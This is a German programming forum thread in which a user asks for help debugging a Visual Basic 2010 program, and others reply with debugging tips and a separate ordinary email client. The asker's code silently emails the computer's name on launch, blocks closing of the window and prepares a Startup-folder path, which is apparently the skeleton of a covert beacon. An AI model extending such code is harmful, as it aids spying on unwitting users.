[VB 2010] Mein Programm

Diskutiere [VB 2010] Mein Programm im Developer Network Forum im Bereich Hardware & Software Forum; Hallo, Ich habe ein Problem beim debuggen. Wenn ich es ausführe dann kommt eine Fehlermeldung die ich nicht recht deuten kann: "Fehler beim...
  • [VB 2010] Mein Programm Beitrag #1
F

Frasch

Bekanntes Mitglied
Dabei seit
14.03.2010
Beiträge
186
Reaktionspunkte
0
Ort
Germany
Hallo,
Ich habe ein Problem beim debuggen. Wenn ich es ausführe dann kommt eine Fehlermeldung die ich nicht recht deuten kann:

"Fehler beim Erstellen des Formulars. Weitere Informationen finden Sie in Exception.InnerException. Fehler: Der Index war außerhalb des Arraybereichs.."


Code:
Code:
Imports System.Net
Imports System.Net.Mail

Public Class Form1


    Dim apath As String = Application.ExecutablePath
    Dim startuppath As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(apath)
    Dim winpath As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.Windows)
    Dim pfpath As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.ProgramFiles)
    Dim pfx86path As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.ProgramFilesX86)
    Dim programspath As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.Programs)


    Private Sub sendmail()

        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("***", "***")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("***")
        mail.To.Add("***")
        mail.Subject = "***" & My.Computer.Name
        mail.Body = "***"
        smtpServer.Send(mail)

    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing

        e.Cancel = True

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        sendmail()


    End Sub

End Class


Hoffe ihr könnt mir helfen.
MfG Frasch

PS: Ich programmier das nur so zum Spaß.
 
  • [VB 2010] Mein Programm Beitrag #2
T

TrµMAn

Bekanntes Mitglied
Dabei seit
23.10.2006
Beiträge
4.882
Reaktionspunkte
2
Ort
Wuppertal
Wie wäre es damit, dass du einfach mal in der Zeile, in der der Fehler fällt nachguckst, so wie ich das sehe, fehlt hier ein Teil vom Code, in dem Code greifst du ja auf keine Indizes zu?!
 
  • [VB 2010] Mein Programm Beitrag #3
F

Frasch

Bekanntes Mitglied
Dabei seit
14.03.2010
Beiträge
186
Reaktionspunkte
0
Ort
Germany
Das Problem ist aber das keine genaue Zeile ausgegeben wird.
 
  • [VB 2010] Mein Programm Beitrag #4
fox99

fox99

Bekanntes Mitglied
Dabei seit
27.11.1999
Beiträge
3.948
Reaktionspunkte
27
Ort
Omicron Persei 8
dann starte es im debugger und lasse es schritt für schritt ablaufen. dann solltest du es herausbekommen, in welcher zeile es knallt
 
  • [VB 2010] Mein Programm Beitrag #5
cmddegi

cmddegi

Bekanntes Mitglied
Dabei seit
12.07.2001
Beiträge
4.740
Reaktionspunkte
0
Ort
Austria
Exceptions in Form_Load werden leider vom Framework bzw. der Basisklasse automatisch abgefangen und tauchen nur in der Debug-Ausgabe auf. Die Ausführung wird aber nicht mit einem helfenden Hinweis unterbrochen. Dazu einfach mal sendmail() in einem Button_Click oder so aufrufen, dann geht das.

Ich vermute mal, dass man mit GetCommandLineArgs keinen FolderPath kriegt, sondern dass ein Index des gewünschten Parameters erwartet wird.
 
  • [VB 2010] Mein Programm Beitrag #6
cyx90

cyx90

Bekanntes Mitglied
Dabei seit
15.01.2012
Beiträge
2.706
Reaktionspunkte
6
Ort
Deutschland
Tach so und jetzt nochmal,

Probier den mal

Code:
Imports System.Net.Mail

Public Class freemail

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim openFileDialog1 As New OpenFileDialog()
        openFileDialog1.InitialDirectory = "C:\Users\*****\Desktop"
        openFileDialog1.Filter = "Alle Dateien (*.*)|*.*"
        openFileDialog1.ShowDialog()
        anhang.Text = openFileDialog1.FileName
    End Sub

    Private Sub schickmireinemail()
        Dim MyEmail As New MailMessage
        Try
            Dim Attachments As New SmtpClient
            MyEmail.From = New MailAddress(acc.Text)
            MyEmail.To.Add(an.Text)
            MyEmail.Subject = (betreff.Text)
            MyEmail.Body = (mailmsg.Text)
            Dim smtp As New SmtpClient(srvadd.Text)

            smtp.Port = addport.Text

            smtp.EnableSsl = True
            smtp.Credentials = New System.Net.NetworkCredential(acc.Text, pw.Text)
            If CheckBox1.Checked Then
                MyEmail.Attachments.Add(New System.Net.Mail.Attachment(anhang.Text))
            End If

            smtp.Send(MyEmail)
            MsgBox("E-Mail gesendet", MsgBoxStyle.Information, Title:="Information")
            My.Computer.FileSystem.WriteAllText("log.txt", "Datum: " + DateTime.Today & vbCrLf & "Uhrzeit: " + TimeOfDay & vbCrLf & "Empfänger: " + an.Text & vbCrLf & "Betreff: " + betreff.Text & vbCrLf & "Nachricht: " + mailmsg.Text, False)
            anhang.Text = ""
        Catch ex As Exception
            MsgBox((ErrorToString()), MsgBoxStyle.Critical, AcceptButton)
        End Try
    End Sub

    Private Sub aboutpic_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles aboutpic.Click
        Me.Show()
        about.Show()
    End Sub

    Private Sub logbutton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles logbutton.Click
        Me.Show()
        log.Show()
    End Sub

    Private Sub freenetmail_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles freenetmail.CheckedChanged
        If freenetmail.Checked = True Then
            addport.Text = "587"
            srvadd.Text = "mx.freenet.de"
        End If
    End Sub

    Private Sub googlemail_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles googlemail.CheckedChanged
        If googlemail.Checked = True Then
            addport.Text = "587"
            srvadd.Text = "smtp.googlemail.com"
        End If
    End Sub

    Private Sub send_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles send.Click
        schickmireinemail()
    End Sub
End Class

Und die andere Form,

Code:
Public Class log

    Private Sub log_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Dim inhalt As String
            Dim objDateiLeser As IO.StreamReader
            objDateiLeser = New IO.StreamReader("log.txt")
            inhalt = objDateiLeser.ReadToEnd()
            objDateiLeser.Close()
            objDateiLeser = Nothing
            TextBox1.Text = inhalt
        Catch ex As Exception
            MsgBox("Momentan kein Log gespeichert!", MsgBoxStyle.Information, AcceptButton)
        End Try
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Clipboard.SetText(TextBox1.Text)
        MsgBox("Log wurde in die Zwischenablage kopiert.", MsgBoxStyle.Information, AcceptButton)
    End Sub
End Class
 
Thema:

[VB 2010] Mein Programm

ANGEBOTE & SPONSOREN

https://www.mofapower.de/

Statistik des Forums

Themen
213.179
Beiträge
1.579.170
Mitglieder
55.874
Neuestes Mitglied
hnte
Oben